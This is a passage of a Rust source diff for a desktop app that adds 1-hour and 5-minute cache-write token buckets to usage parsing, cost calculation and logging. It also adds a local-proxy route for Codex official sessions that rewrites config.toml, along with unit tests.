cache_creation_5m_tokens: 0, + cache_creation_1h_tokens: 0, model: None, message_id: None, }; @@ -1154,6 +1160,8 @@ mod tests { output_tokens: 0, cache_read_tokens: 0, cache_creation_tokens: 0, + cache_creation_5m_tokens: 0, + cache_creation_1h_tokens: 0, model: None, message_id: None, }; diff --git a/src-tauri/src/proxy/usage/calculator.rs b/src-tauri/src/proxy/usage/calculator.rs index db8def267..4628a6868 100644 --- a/src-tauri/src/proxy/usage/calculator.rs +++ b/src-tauri/src/proxy/usage/calculator.rs @@ -94,9 +94,20 @@ impl CostCalculator { Decimal::from(usage.output_tokens) * pricing.output_cost_per_million / million; let cache_read_cost = Decimal::from(usage.cache_read_tokens) * pricing.cache_read_cost_per_million / million; - let cache_creation_cost = Decimal::from(usage.cache_creation_tokens) - * pricing.cache_creation_cost_per_million - / million; + let (cache_creation_unspecified, cache_creation_5m, cache_creation_1h) = + usage.normalized_cache_creation_buckets(); + let cache_creation_5m_price = pricing.cache_creation_cost_per_million; + // The stored cache-creation price is the existing 5-minute rate. Anthropic + // prices 5m writes at 1.25x input and 1h writes at 2x input, therefore the + // corresponding 1h price is 8/5 of the configured 5m price. Unknown providers + // without TTL details retain the configured legacy rate. + let cache_creation_1h_price = + cache_creation_5m_price * Decimal::from(8u32) / Decimal::from(5u32); + let cache_creation_cost = (Decimal::from(cache_creation_unspecified) + + Decimal::from(cache_creation_5m)) + * cache_creation_5m_price + / million + + Decimal::from(cache_creation_1h) * cache_creation_1h_price / million; // 总成本 = 各项基础成本之和 × 倍率 let base_total = input_cost + output_cost + cache_read_cost + cache_creation_cost; @@ -159,6 +170,8 @@ mod tests { output_tokens: 500, cache_read_tokens: 200, cache_creation_tokens: 100, + cache_creation_5m_tokens: 0, + cache_creation_1h_tokens: 0, model: None, message_id: None, }; @@ -191,6 +204,8 @@ mod tests { output_tokens: 500, cache_read_tokens: 200, cache_creation_tokens: 100, + cache_creation_5m_tokens: 0, + cache_creation_1h_tokens: 0, model: None, message_id: None, }; @@ -211,6 +226,25 @@ mod tests { assert_eq!(cost.total_cost, Decimal::from_str("0.010035").unwrap()); } + #[test] + fn test_one_hour_cache_creation_uses_premium_rate() { + let usage = TokenUsage { + cache_creation_tokens: 1_000_000, + cache_creation_5m_tokens: 250_000, + cache_creation_1h_tokens: 750_000, + ..TokenUsage::default() + }; + let pricing = ModelPricing::from_strings("3", "15", "0.3", "3.75").unwrap(); + + let cost = CostCalculator::calculate(&usage, &pricing, Decimal::ONE); + + // 250k × $3.75/M + 750k × $6/M = $5.4375. + assert_eq!( + cost.cache_creation_cost, + Decimal::from_str("5.4375").unwrap() + ); + } + #[test] fn test_cost_multiplier() { let usage = TokenUsage { @@ -218,6 +252,8 @@ mod tests { output_tokens: 0, cache_read_tokens: 0, cache_creation_tokens: 0, + cache_creation_5m_tokens: 0, + cache_creation_1h_tokens: 0, model: None, message_id: None, }; @@ -240,6 +276,8 @@ mod tests { output_tokens: 500, cache_read_tokens: 0, cache_creation_tokens: 0, + cache_creation_5m_tokens: 0, + cache_creation_1h_tokens: 0, model: None, message_id: None, }; @@ -257,6 +295,8 @@ mod tests { output_tokens: 1, cache_read_tokens: 1, cache_creation_tokens: 1, + cache_creation_5m_tokens: 0, + cache_creation_1h_tokens: 0, model: None, message_id: None, }; diff --git a/src-tauri/src/proxy/usage/logger.rs b/src-tauri/src/proxy/usage/logger.rs index 072dd5ccf..985fad40a 100644 --- a/src-tauri/src/proxy/usage/logger.rs +++ b/src-tauri/src/proxy/usage/logger.rs @@ -81,11 +81,12 @@ impl<'a> UsageLogger<'a> { "INSERT OR REPLACE INTO proxy_request_logs ( request_id, provider_id, app_type, model, request_model, pricing_model, input_tokens, output_tokens, cache_read_tokens, cache_creation_tokens, + cache_creation_1h_tokens, input_token_semantics, input_cost_usd, output_cost_usd, cache_read_cost_usd, cache_creation_cost_usd, total_cost_usd, latency_ms, first_token_ms, status_code, error_message, session_id, provider_type, is_streaming, cost_multiplier, created_at - ) VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10, ?11, ?12, ?13, ?14, ?15, ?16, ?17, ?18, ?19, ?20, ?21, ?22, ?23, ?24, ?25)", + ) VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10, ?11, ?12, ?13, ?14, ?15, ?16, ?17, ?18, ?19, ?20, ?21, ?22, ?23, ?24, ?25, ?26)", rusqlite::params![ log.request_id, log.provider_id, @@ -97,6 +98,7 @@ impl<'a> UsageLogger<'a> { log.usage.output_tokens, log.usage.cache_read_tokens, log.usage.cache_creation_tokens, + log.usage.cache_creation_1h_tokens, input_token_semantics, input_cost, output_cost, @@ -396,6 +398,8 @@ mod tests { output_tokens: 500, cache_read_tokens: 0, cache_creation_tokens: 0, + cache_creation_5m_tokens: 0, + cache_creation_1h_tokens: 0, model: None, message_id: None, }; diff --git a/src-tauri/src/proxy/usage/parser.rs b/src-tauri/src/proxy/usage/parser.rs index 45120b8ae..c28edf8c5 100644 --- a/src-tauri/src/proxy/usage/parser.rs +++ b/src-tauri/src/proxy/usage/parser.rs @@ -27,6 +27,22 @@ fn openai_cache_write_tokens(usage: &Value) -> u32 { .unwrap_or(0) as u32 } +fn cache_creation_ttl_tokens(usage: &Value) -> (u32, u32) { + let details = usage + .get("cache_creation") + .or_else(|| usage.pointer("/input_tokens_details/cache_creation")) + .or_else(|| usage.pointer("/prompt_tokens_details/cache_creation")); + let five_minutes = details + .and_then(|value| value.get("ephemeral_5m_input_tokens")) + .and_then(Value::as_u64) + .unwrap_or(0) as u32; + let one_hour = details + .and_then(|value| value.get("ephemeral_1h_input_tokens")) + .and_then(Value::as_u64) + .unwrap_or(0) as u32; + (five_minutes, one_hour) +} + /// Session 日志 request_id 前缀,与 `session_usage.rs` 中的格式保持一致 pub const SESSION_REQUEST_ID_PREFIX: &str = "session:"; @@ -37,6 +53,13 @@ pub struct TokenUsage { pub output_tokens: u32, pub cache_read_tokens: u32, pub cache_creation_tokens: u32, + /// Anthropic cache-write TTL detail. The aggregate above remains the stable + /// public/storage metric; these buckets make 1-hour writes billable at 2x input + /// instead of the 5-minute 1.25x rate. + #[serde(default)] + pub cache_creation_5m_tokens: u32, + #[serde(default)] + pub cache_creation_1h_tokens: u32, /// 从响应中提取的实际模型名称(如果可用) pub model: Option, /// 从响应中提取的消息 ID(用于跨源去重) @@ -47,6 +70,23 @@ pub struct TokenUsage { } impl TokenUsage { + /// Return mutually exclusive cache-write buckets, clamped to the aggregate. + /// Providers that do not expose TTL detail remain in `unspecified` and keep the + /// legacy cache-creation price. + pub fn normalized_cache_creation_buckets(&self) -> (u32, u32, u32) { + let one_hour = self + .cache_creation_1h_tokens + .min(self.cache_creation_tokens); + let five_minutes = self + .cache_creation_5m_tokens + .min(self.cache_creation_tokens.saturating_sub(one_hour)); + let unspecified = self + .cache_creation_tokens + .saturating_sub(one_hour) + .saturating_sub(five_minutes); + (unspecified, five_minutes, one_hour) + } + /// 生成与 session 日志共享的 request_id,用于跨源去重。 /// 有 message_id 时返回 `session:{id}`,否则回退到随机 UUID。 pub fn dedup_request_id(&self) -> String { @@ -83,6 +123,7 @@ impl TokenUsage { /// 从 Claude API 非流式响应解析 pub fn from_claude_response(body: &Value) -> Option { let usage = body.get("usage")?; + let (cache_creation_5m_tokens, cache_creation_1h_tokens) = cache_creation_ttl_tokens(usage); // 提取响应中的模型名称 let model = body .get("model") @@ -104,6 +145,8 @@ impl TokenUsage { .get("cache_creation_input_tokens") .and_then(|v| v.as_u64()) .unwrap_or(0) as u32, + cache_creation_5m_tokens, + cache_creation_1h_tokens, model, message_id, }) @@ -134,6 +177,8 @@ impl TokenUsage { } } if let Some(msg_usage) = event.get("message").and_then(|m| m.get("usage")) { + let (cache_creation_5m, cache_creation_1h) = + cache_creation_ttl_tokens(msg_usage); // 从 message_start 获取 input_tokens(原生 Claude API) if let Some(input) = msg_usage.get("input_tokens").and_then(|v| v.as_u64()) @@ -150,10 +195,14 @@ impl TokenUsage { .and_then(|v| v.as_u64()) .unwrap_or(0) as u32; + usage.cache_creation_5m_tokens = cache_creation_5m; + usage.cache_creation_1h_tokens = cache_creation_1h; } } "message_delta" => { if let Some(delta_usage) = event.get("usage") { + let (delta_cache_creation_5m, delta_cache_creation_1h) = + cache_creation_ttl_tokens(delta_usage); // 从 message_delta 获取 output_tokens if let Some(output) = delta_usage.get("output_tokens").and_then(|v| v.as_u64()) @@ -192,6 +241,14 @@ impl TokenUsage { } if let Some(cache_creation) = delta_cache_creation { usage.cache_creation_tokens = cache_creation; + if delta_cache_creation_5m > 0 + || delta_cache_creation_1h > 0 + { + usage.cache_creation_5m_tokens = + delta_cache_creation_5m; + usage.cache_creation_1h_tokens = + delta_cache_creation_1h; + } } } } @@ -206,6 +263,10 @@ impl TokenUsage { if usage.cache_creation_tokens == 0 { if let Some(cache_creation) = delta_cache_creation { usage.cache_creation_tokens = cache_creation; + if delta_cache_creation_5m > 0 || delta_cache_creation_1h > 0 { + usage.cache_creation_5m_tokens = delta_cache_creation_5m; + usage.cache_creation_1h_tokens = delta_cache_creation_1h; + } } } } @@ -237,6 +298,8 @@ impl TokenUsage { output_tokens: usage.get("completion_tokens")?.as_u64()? as u32, cache_read_tokens: 0, cache_creation_tokens: 0, + cache_creation_5m_tokens: 0, + cache_creation_1h_tokens: 0, model: None, message_id: None, }) @@ -270,12 +333,15 @@ impl TokenUsage { let cached_tokens = openai_cache_read_tokens(usage); let cache_write_tokens = openai_cache_write_tokens(usage); + let (cache_creation_5m_tokens, cache_creation_1h_tokens) = cache_creation_ttl_tokens(usage); Some(Self { input_tokens: input_tokens? as u32, output_tokens: output_tokens? as u32, cache_read_tokens: cached_tokens, cache_creation_tokens: cache_write_tokens, + cache_creation_5m_tokens, + cache_creation_1h_tokens, model, message_id: None, }) @@ -294,6 +360,7 @@ impl TokenUsage { // 获取 cached_tokens (可能在 cache_read_input_tokens 或 input_tokens_details 中) let cached_tokens = openai_cache_read_tokens(usage); let cache_write_tokens = openai_cache_write_tokens(usage); + let (cache_creation_5m_tokens, cache_creation_1h_tokens) = cache_creation_ttl_tokens(usage); // 调整 input_tokens: OpenAI total input 同时包含 cache read/write 两桶。 let adjusted_input = input_tokens @@ -311,6 +378,8 @@ impl TokenUsage { output_tokens, cache_read_tokens: cached_tokens, cache_creation_tokens: cache_write_tokens, + cache_creation_5m_tokens, + cache_creation_1h_tokens, model, message_id: None, }) @@ -391,6 +460,7 @@ impl TokenUsage { // 获取 cached_tokens (可能在 prompt_tokens_details 中) let cached_tokens = openai_cache_read_tokens(usage); let cache_write_tokens = openai_cache_write_tokens(usage); + let (cache_creation_5m_tokens, cache_creation_1h_tokens) = cache_creation_ttl_tokens(usage); // 提取响应中的模型名称 let model = body @@ -403,6 +473,8 @@ impl TokenUsage { output_tokens: completion_tokens as u32, cache_read_tokens: cached_tokens, cache_creation_tokens: cache_write_tokens, + cache_creation_5m_tokens, + cache_creation_1h_tokens, model, message_id: None, }) @@ -448,6 +520,8 @@ impl TokenUsage { .and_then(|v| v.as_u64()) .unwrap_or(0) as u32, cache_creation_tokens: 0, + cache_creation_5m_tokens: 0, + cache_creation_1h_tokens: 0, model, message_id: None, }) @@ -499,6 +573,8 @@ impl TokenUsage { output_tokens: total_output, cache_read_tokens: total_cache_read, cache_creation_tokens: 0, + cache_creation_5m_tokens: 0, + cache_creation_1h_tokens: 0, model, message_id: None, }) @@ -521,7 +597,11 @@ mod tests { "input_tokens": 100, "output_tokens": 50, "cache_read_input_tokens": 20, - "cache_creation_input_tokens": 10 + "cache_creation_input_tokens": 10, + "cache_creation": { + "ephemeral_5m_input_tokens": 4, + "ephemeral_1h_input_tokens": 6 + } } }); @@ -530,6 +610,9 @@ mod tests { assert_eq!(usage.output_tokens, 50); assert_eq!(usage.cache_read_tokens, 20); assert_eq!(usage.cache_creation_tokens, 10); + assert_eq!(usage.cache_creation_5m_tokens, 4); + assert_eq!(usage.cache_creation_1h_tokens, 6); + assert_eq!(usage.normalized_cache_creation_buckets(), (0, 4, 6)); assert_eq!(usage.model, Some("claude-sonnet-4-20250514".to_string())); } diff --git a/src-tauri/src/services/session_usage.rs b/src-tauri/src/services/session_usage.rs index 7d8756722..3c5c83660 100644 --- a/src-tauri/src/services/session_usage.rs +++ b/src-tauri/src/services/session_usage.rs @@ -448,6 +448,8 @@ fn insert_session_log_entry( output_tokens: msg.output_tokens, cache_read_tokens: msg.cache_read_tokens, cache_creation_tokens: msg.cache_creation_tokens, + cache_creation_5m_tokens: 0, + cache_creation_1h_tokens: 0, model: Some(msg.model.clone()), message_id: None, }; diff --git a/src-tauri/src/services/session_usage_codex.rs b/src-tauri/src/services/session_usage_codex.rs index 5757f9ded..7bf33257f 100644 --- a/src-tauri/src/services/session_usage_codex.rs +++ b/src-tauri/src/services/session_usage_codex.rs @@ -634,6 +634,8 @@ fn insert_codex_session_entry( output_tokens: delta.output, cache_read_tokens: delta.cached_input, cache_creation_tokens: 0, + cache_creation_5m_tokens: 0, + cache_creation_1h_tokens: 0, model: Some(model.to_string()), message_id: None, }; diff --git a/src-tauri/src/services/session_usage_gemini.rs b/src-tauri/src/services/session_usage_gemini.rs index c904726f2..3e81a3613 100644 --- a/src-tauri/src/services/session_usage_gemini.rs +++ b/src-tauri/src/services/session_usage_gemini.rs @@ -270,6 +270,8 @@ fn insert_gemini_session_entry( output_tokens, cache_read_tokens: tokens.cached, cache_creation_tokens: 0, + cache_creation_5m_tokens: 0, + cache_creation_1h_tokens: 0, model: Some(model.to_string()), message_id: None, }; diff --git a/src-tauri/src/services/session_usage_opencode.rs b/src-tauri/src/services/session_usage_opencode.rs index 83574bb62..f4ec116ab 100644 --- a/src-tauri/src/services/session_usage_opencode.rs +++ b/src-tauri/src/services/session_usage_opencode.rs @@ -362,6 +362,8 @@ fn insert_opencode_message( output_tokens: output_with_reasoning, cache_read_tokens: msg.cache_read_tokens, cache_creation_tokens: msg.cache_write_tokens, + cache_creation_5m_tokens: 0, + cache_creation_1h_tokens: 0, model: Some(msg.model_id.clone()), message_id: None, }; diff --git a/src-tauri/src/services/usage_stats.rs b/src-tauri/src/services/usage_stats.rs index d0760f2c4..0fb576b84 100644 --- a/src-tauri/src/services/usage_stats.rs +++ b/src-tauri/src/services/usage_stats.rs @@ -137,6 +137,9 @@ pub struct RequestLogDetail { pub output_tokens: u32, pub cache_read_tokens: u32, pub cache_creation_tokens: u32, + /// Internal TTL pricing bucket; aggregate UI metrics remain unchanged. + #[serde(skip)] + pub cache_creation_1h_tokens: u32, /// Internal storage semantics; omitted from the UI/API payload. #[serde(skip)] pub input_token_semantics: i64, @@ -159,12 +162,12 @@ pub struct RequestLogDetail { pub pricing_model: Option, } -/// 把 26 列的查询结果映射为 `RequestLogDetail`。 +/// 把 27 列的查询结果映射为 `RequestLogDetail`。 /// -/// 调用方的 SELECT **必须**按以下顺序返回 26 列: +/// 调用方的 SELECT **必须**按以下顺序返回 27 列: /// `request_id, provider_id, provider_name, app_type, model, request_model, /// cost_multiplier, input_tokens, output_tokens, cache_read_tokens, -/// cache_creation_tokens, input_cost_usd, output_cost_usd, cache_read_cost_usd, +/// cache_creation_tokens, cache_creation_1h_tokens, input_cost_usd, output_cost_usd, cache_read_cost_usd, /// cache_creation_cost_usd, total_cost_usd, is_streaming, latency_ms, /// first_token_ms, duration_ms, status_code, error_message, created_at, /// data_source, pricing_model, input_token_semantics` @@ -185,21 +188,22 @@ fn row_to_request_log_detail(row: &rusqlite::Row<'_>) -> rusqlite::Result(8)? as u32, cache_read_tokens: row.get::<_, i64>(9)? as u32, cache_creation_tokens: row.get::<_, i64>(10)? as u32, - input_cost_usd: row.get(11)?, - output_cost_usd: row.get(12)?, - cache_read_cost_usd: row.get(13)?, - cache_creation_cost_usd: row.get(14)?, - total_cost_usd: row.get(15)?, - is_streaming: row.get::<_, i64>(16)? != 0, - latency_ms: row.get::<_, i64>(17)? as u64, - first_token_ms: row.get::<_, Option>(18)?.map(|v| v as u64), - duration_ms: row.get::<_, Option>(19)?.map(|v| v as u64), - status_code: row.get::<_, i64>(20)? as u16, - error_message: row.get(21)?, - created_at: row.get(22)?, - data_source: row.get(23)?, - pricing_model: row.get(24)?, - input_token_semantics: row.get::<_, i64>(25)?, + cache_creation_1h_tokens: row.get::<_, i64>(11)? as u32, + input_cost_usd: row.get(12)?, + output_cost_usd: row.get(13)?, + cache_read_cost_usd: row.get(14)?, + cache_creation_cost_usd: row.get(15)?, + total_cost_usd: row.get(16)?, + is_streaming: row.get::<_, i64>(17)? != 0, + latency_ms: row.get::<_, i64>(18)? as u64, + first_token_ms: row.get::<_, Option>(19)?.map(|v| v as u64), + duration_ms: row.get::<_, Option>(20)?.map(|v| v as u64), + status_code: row.get::<_, i64>(21)? as u16, + error_message: row.get(22)?, + created_at: row.get(23)?, + data_source: row.get(24)?, + pricing_model: row.get(25)?, + input_token_semantics: row.get::<_, i64>(26)?, }) } @@ -1530,6 +1534,7 @@ impl Database { "SELECT l.request_id, l.provider_id, {logs_pname} as provider_name, l.app_type, l.model, l.request_model, l.cost_multiplier, l.input_tokens, l.output_tokens, l.cache_read_tokens, l.cache_creation_tokens, + l.cache_creation_1h_tokens, l.input_cost_usd, l.output_cost_usd, l.cache_read_cost_usd, l.cache_creation_cost_usd, l.total_cost_usd, l.is_streaming, l.latency_ms, l.first_token_ms, l.duration_ms, l.status_code, l.error_message, l.created_at, l.data_source, l.pricing_model, @@ -1574,6 +1579,7 @@ impl Database { "SELECT l.request_id, l.provider_id, {detail_pname} as provider_name, l.app_type, l.model, l.request_model, l.cost_multiplier, input_tokens, output_tokens, cache_read_tokens, cache_creation_tokens, + cache_creation_1h_tokens, input_cost_usd, output_cost_usd, cache_read_cost_usd, cache_creation_cost_usd, total_cost_usd, is_streaming, latency_ms, first_token_ms, duration_ms, status_code, error_message, created_at, l.data_source, l.pricing_model, @@ -1730,6 +1736,7 @@ impl Database { "SELECT request_id, provider_id, NULL AS provider_name, app_type, model, request_model, cost_multiplier, input_tokens, output_tokens, cache_read_tokens, cache_creation_tokens, + cache_creation_1h_tokens, input_cost_usd, output_cost_usd, cache_read_cost_usd, cache_creation_cost_usd, total_cost_usd, is_streaming, latency_ms, first_token_ms, duration_ms, status_code, error_message, created_at, @@ -1836,9 +1843,17 @@ impl Database { let cache_read_cost = rust_decimal::Decimal::from(log.cache_read_tokens as u64) * pricing.cache_read / million; - let cache_creation_cost = rust_decimal::Decimal::from(log.cache_creation_tokens as u64) + let cache_creation_1h_tokens = + log.cache_creation_1h_tokens.min(log.cache_creation_tokens) as u64; + let cache_creation_standard_tokens = + (log.cache_creation_tokens as u64).saturating_sub(cache_creation_1h_tokens); + let cache_creation_1h_price = pricing.cache_creation * rust_decimal::Decimal::from(8u32) + / rust_decimal::Decimal::from(5u32); + let cache_creation_cost = rust_decimal::Decimal::from(cache_creation_standard_tokens) * pricing.cache_creation - / million; + / million + + rust_decimal::Decimal::from(cache_creation_1h_tokens) * cache_creation_1h_price + / million; // 总成本 = 基础成本之和 × 倍率 let base_total = input_cost + output_cost + cache_read_cost + cache_creation_cost; let total_cost = base_total * multiplier; @@ -2868,6 +2883,50 @@ mod tests { Ok(()) } + #[test] + fn test_backfill_preserves_one_hour_cache_write_pricing() -> Result<(), AppError> { + let db = Database::memory()?; + + { + let conn = lock_conn!(db.conn); + insert_usage_log( + &conn, + "claude-cache-one-hour", + "claude", + "p1", + "claude-haiku-4-5", + "proxy", + 1000, + 0, + 0, + 0, + 1_000_000, + 200, + "0", + )?; + conn.execute( + "UPDATE proxy_request_logs + SET cache_creation_1h_tokens = 1000000 + WHERE request_id = 'claude-cache-one-hour'", + [], + )?; + } + + assert_eq!(db.backfill_missing_usage_costs()?, 1); + + let conn = lock_conn!(db.conn); + let (cache_creation_cost, total_cost): (String, String) = conn.query_row( + "SELECT cache_creation_cost_usd, total_cost_usd + FROM proxy_request_logs WHERE request_id = 'claude-cache-one-hour'", + [], + |row| Ok((row.get(0)?, row.get(1)?)), + )?; + assert_eq!(cache_creation_cost, "2.000000"); + assert_eq!(total_cost, "2.000000"); + + Ok(()) + } + #[test] fn test_get_usage_summary() -> Result<(), AppError> { let db = Database::memory()?; From 51d6c458ff2ccac7f283dad6f15732ed956c71ac Mon Sep 17 00:00:00 2001 From: Jason Date: Sun, 12 Jul 2026 17:51:56 +0800 Subject: [PATCH 59/73] feat(codex): route native ChatGPT sessions through proxy takeover Allow the built-in Codex official provider to participate in takeover mode while preserving Codex's native OAuth or API-key credentials instead of persisting them into provider records. Project official routing into a dedicated TOML provider, normalize inline tables, clean stale managed placeholders, and fail closed when the live configuration cannot be transformed safely. Validate forwarded authorization, make official 401/403 responses non-retryable, avoid circuit-breaker pollution, and share the first-party ChatGPT endpoint across the Codex and Claude adapters. --- src-tauri/src/codex_config.rs | 226 ++++++- src-tauri/src/commands/proxy.rs | 10 +- src-tauri/src/database/dao/providers_seed.rs | 3 +- src-tauri/src/database/mod.rs | 4 +- src-tauri/src/proxy/forwarder.rs | 98 ++- src-tauri/src/proxy/providers/claude.rs | 6 +- src-tauri/src/proxy/providers/codex.rs | 39 ++ src-tauri/src/proxy/providers/mod.rs | 10 +- src-tauri/src/services/provider/mod.rs | 13 +- src-tauri/src/services/proxy.rs | 597 ++++++++++++++----- src-tauri/src/tray.rs | 8 +- 11 files changed, 835 insertions(+), 179 deletions(-) diff --git a/src-tauri/src/codex_config.rs b/src-tauri/src/codex_config.rs index b6b899a54..4a4ed8785 100644 --- a/src-tauri/src/codex_config.rs +++ b/src-tauri/src/codex_config.rs @@ -12,7 +12,13 @@ use std::process::Command; use toml_edit::DocumentMut; pub const CC_SWITCH_CODEX_MODEL_PROVIDER_ID: &str = "custom"; +/// Temporary model-provider id used while the built-in `codex-official` +/// provider is routed through CC Switch. A dedicated id is an ownership +/// marker: unlike a generic localhost `base_url`, it can be detected and +/// cleaned up without mistaking a user's own local provider for takeover. +pub const CC_SWITCH_CODEX_OFFICIAL_PROXY_PROVIDER_ID: &str = "cc-switch-official"; pub const CC_SWITCH_CODEX_MODEL_CATALOG_FILENAME: &str = "cc-switch-model-catalog.json"; +const CODEX_PROXY_AUTH_PLACEHOLDER: &str = "PROXY_MANAGED"; /// Top-level `config.toml` key that controls Codex's built-in web-search tool. pub(crate) const CODEX_WEB_SEARCH_FIELD: &str = "web_search"; @@ -1338,15 +1344,139 @@ pub fn read_codex_live_settings() -> Result { /// backend), `name = "OpenAI"` keeps Codex's `is_openai()` feature gates /// (web search, remote compaction), and `supports_websockets` restores the /// built-in default that custom entries otherwise lose. -fn codex_unified_official_provider_table() -> toml_edit::Table { +fn codex_official_provider_table( + base_url: Option<&str>, + supports_websockets: bool, +) -> toml_edit::Table { let mut table = toml_edit::Table::new(); table["name"] = toml_edit::value("OpenAI"); table["requires_openai_auth"] = toml_edit::value(true); - table["supports_websockets"] = toml_edit::value(true); + table["supports_websockets"] = toml_edit::value(supports_websockets); table["wire_api"] = toml_edit::value("responses"); + if let Some(base_url) = base_url { + table["base_url"] = toml_edit::value(base_url.trim_end_matches('/')); + } table } +fn codex_unified_official_provider_table() -> toml_edit::Table { + codex_official_provider_table(None, true) +} + +fn remove_codex_proxy_placeholders_from_providers(providers: &mut toml_edit::Table) { + for (_, item) in providers.iter_mut() { + if let Some(table) = item.as_table_mut() { + let should_remove = table + .get("experimental_bearer_token") + .and_then(|item| item.as_str()) + == Some(CODEX_PROXY_AUTH_PLACEHOLDER); + if should_remove { + table.remove("experimental_bearer_token"); + } + } else if let Some(table) = item.as_inline_table_mut() { + let should_remove = table + .get("experimental_bearer_token") + .and_then(|value| value.as_str()) + == Some(CODEX_PROXY_AUTH_PLACEHOLDER); + if should_remove { + table.remove("experimental_bearer_token"); + } + } + } +} + +/// Project the built-in Codex official provider through the local proxy while +/// keeping authentication owned by Codex itself. +/// +/// The resulting custom provider explicitly opts into OpenAI authentication, +/// so Codex forwards its existing ChatGPT login to the local `/responses` +/// endpoint. No API key or bearer placeholder is written to `auth.json`. +pub fn apply_codex_official_proxy_route( + config_text: &str, + proxy_base_url: &str, +) -> Result { + let mut doc = config_text + .parse::() + .map_err(|e| AppError::Message(format!("Invalid Codex config.toml: {e}")))?; + + // A third-party takeover may have left the proxy placeholder in config.toml. + // The official route must use Codex's native OpenAI login instead. + doc.as_table_mut().remove("experimental_bearer_token"); + doc["model_provider"] = toml_edit::value(CC_SWITCH_CODEX_OFFICIAL_PROXY_PROVIDER_ID); + + let mut providers = match doc.as_table_mut().remove("model_providers") { + Some(item) => item.into_table().map_err(|_| { + AppError::Message( + "Invalid Codex config.toml: model_providers must be a table".to_string(), + ) + })?, + None => { + let mut table = toml_edit::Table::new(); + table.set_implicit(true); + table + } + }; + + // Clean only CC Switch's placeholder from every stale provider table. Real + // user bearer tokens are preserved, as are all unrelated provider fields. + remove_codex_proxy_placeholders_from_providers(&mut providers); + + // The local proxy currently exposes HTTP/SSE, not Codex websocket routes. + let table = codex_official_provider_table(Some(proxy_base_url), false); + + providers.insert( + CC_SWITCH_CODEX_OFFICIAL_PROXY_PROVIDER_ID, + toml_edit::Item::Table(table), + ); + doc["model_providers"] = toml_edit::Item::Table(providers); + Ok(doc.to_string()) +} + +/// Whether a live Codex config is the official route projected by CC Switch. +pub fn codex_config_has_official_proxy_route(config_text: &str) -> bool { + if !config_text.contains(CC_SWITCH_CODEX_OFFICIAL_PROXY_PROVIDER_ID) { + return false; + } + config_text + .parse::() + .ok() + .and_then(|doc| { + doc.get("model_provider") + .and_then(|item| item.as_str()) + .map(str::to_string) + }) + .as_deref() + == Some(CC_SWITCH_CODEX_OFFICIAL_PROXY_PROVIDER_ID) +} + +/// Remove only the official takeover route owned by CC Switch. This is a +/// last-resort crash cleanup when no live backup or provider SSOT is usable. +pub fn remove_codex_official_proxy_route(config_text: &str) -> Result { + let mut doc = config_text + .parse::() + .map_err(|e| AppError::Message(format!("Invalid Codex config.toml: {e}")))?; + if doc.get("model_provider").and_then(|item| item.as_str()) + != Some(CC_SWITCH_CODEX_OFFICIAL_PROXY_PROVIDER_ID) + { + return Ok(config_text.to_string()); + } + + doc.as_table_mut().remove("model_provider"); + if let Some(item) = doc.as_table_mut().remove("model_providers") { + let mut providers = item.into_table().map_err(|_| { + AppError::Message( + "Invalid Codex config.toml: model_providers must be a table".to_string(), + ) + })?; + providers.remove(CC_SWITCH_CODEX_OFFICIAL_PROXY_PROVIDER_ID); + remove_codex_proxy_placeholders_from_providers(&mut providers); + if !providers.is_empty() { + doc["model_providers"] = toml_edit::Item::Table(providers); + } + } + Ok(doc.to_string()) +} + fn table_matches_codex_unified_official_provider(table: &toml_edit::Table) -> bool { table.len() == 4 && table.get("name").and_then(|item| item.as_str()) == Some("OpenAI") @@ -1812,6 +1942,98 @@ mod tests { ); } + #[test] + fn official_proxy_route_uses_native_auth_and_local_responses_provider() { + let input = r#"model = "gpt-5.4" +experimental_bearer_token = "PROXY_MANAGED" + +[mcp_servers.example] +command = "example" +"#; + let output = apply_codex_official_proxy_route(input, "http://127.0.0.1:15721/v1") + .expect("apply official proxy route"); + let doc: toml::Value = toml::from_str(&output).expect("parse output"); + + assert_eq!( + doc.get("model_provider").and_then(toml::Value::as_str), + Some(CC_SWITCH_CODEX_OFFICIAL_PROXY_PROVIDER_ID) + ); + assert!(doc.get("experimental_bearer_token").is_none()); + assert!( + doc.get("mcp_servers").is_some(), + "unrelated config survives" + ); + + let provider = &doc["model_providers"][CC_SWITCH_CODEX_OFFICIAL_PROXY_PROVIDER_ID]; + assert_eq!( + provider.get("base_url").and_then(toml::Value::as_str), + Some("http://127.0.0.1:15721/v1") + ); + assert_eq!( + provider + .get("requires_openai_auth") + .and_then(toml::Value::as_bool), + Some(true) + ); + assert_eq!( + provider + .get("supports_websockets") + .and_then(toml::Value::as_bool), + Some(false) + ); + assert!(codex_config_has_official_proxy_route(&output)); + } + + #[test] + fn official_proxy_route_cleanup_only_removes_owned_provider() { + let projected = + apply_codex_official_proxy_route("model = \"gpt-5.4\"\n", "http://127.0.0.1:15721/v1") + .expect("project"); + let cleaned = remove_codex_official_proxy_route(&projected).expect("clean"); + let doc: toml::Value = toml::from_str(&cleaned).expect("parse cleaned"); + assert!(doc.get("model_provider").is_none()); + assert!(doc.get("model_providers").is_none()); + assert_eq!( + doc.get("model").and_then(toml::Value::as_str), + Some("gpt-5.4") + ); + } + + #[test] + fn official_proxy_route_rejects_non_table_model_providers_without_panicking() { + for input in [ + "model_providers = 3\n", + "[[model_providers]]\nname = \"broken\"\n", + ] { + let result = apply_codex_official_proxy_route(input, "http://127.0.0.1:15721/v1"); + assert!(result.is_err()); + } + } + + #[test] + fn official_proxy_route_normalizes_inline_tables_and_cleans_stale_placeholder() { + let input = r#"model_provider = "rightcode" +model_providers = { rightcode = { name = "RightCode", experimental_bearer_token = "PROXY_MANAGED" } } +"#; + let projected = apply_codex_official_proxy_route(input, "http://127.0.0.1:15721/v1") + .expect("project inline provider table"); + let projected_doc: toml::Value = toml::from_str(&projected).expect("parse projected"); + assert!(projected_doc["model_providers"]["rightcode"] + .get("experimental_bearer_token") + .is_none()); + assert!(projected_doc["model_providers"] + .get(CC_SWITCH_CODEX_OFFICIAL_PROXY_PROVIDER_ID) + .is_some()); + + let cleaned = remove_codex_official_proxy_route(&projected).expect("clean projected"); + let cleaned_doc: toml::Value = toml::from_str(&cleaned).expect("parse cleaned"); + assert!(cleaned_doc.get("model_provider").is_none()); + assert!(cleaned_doc["model_providers"].get("rightcode").is_some()); + assert!(cleaned_doc["model_providers"] + .get(CC_SWITCH_CODEX_OFFICIAL_PROXY_PROVIDER_ID) + .is_none()); + } + #[test] fn 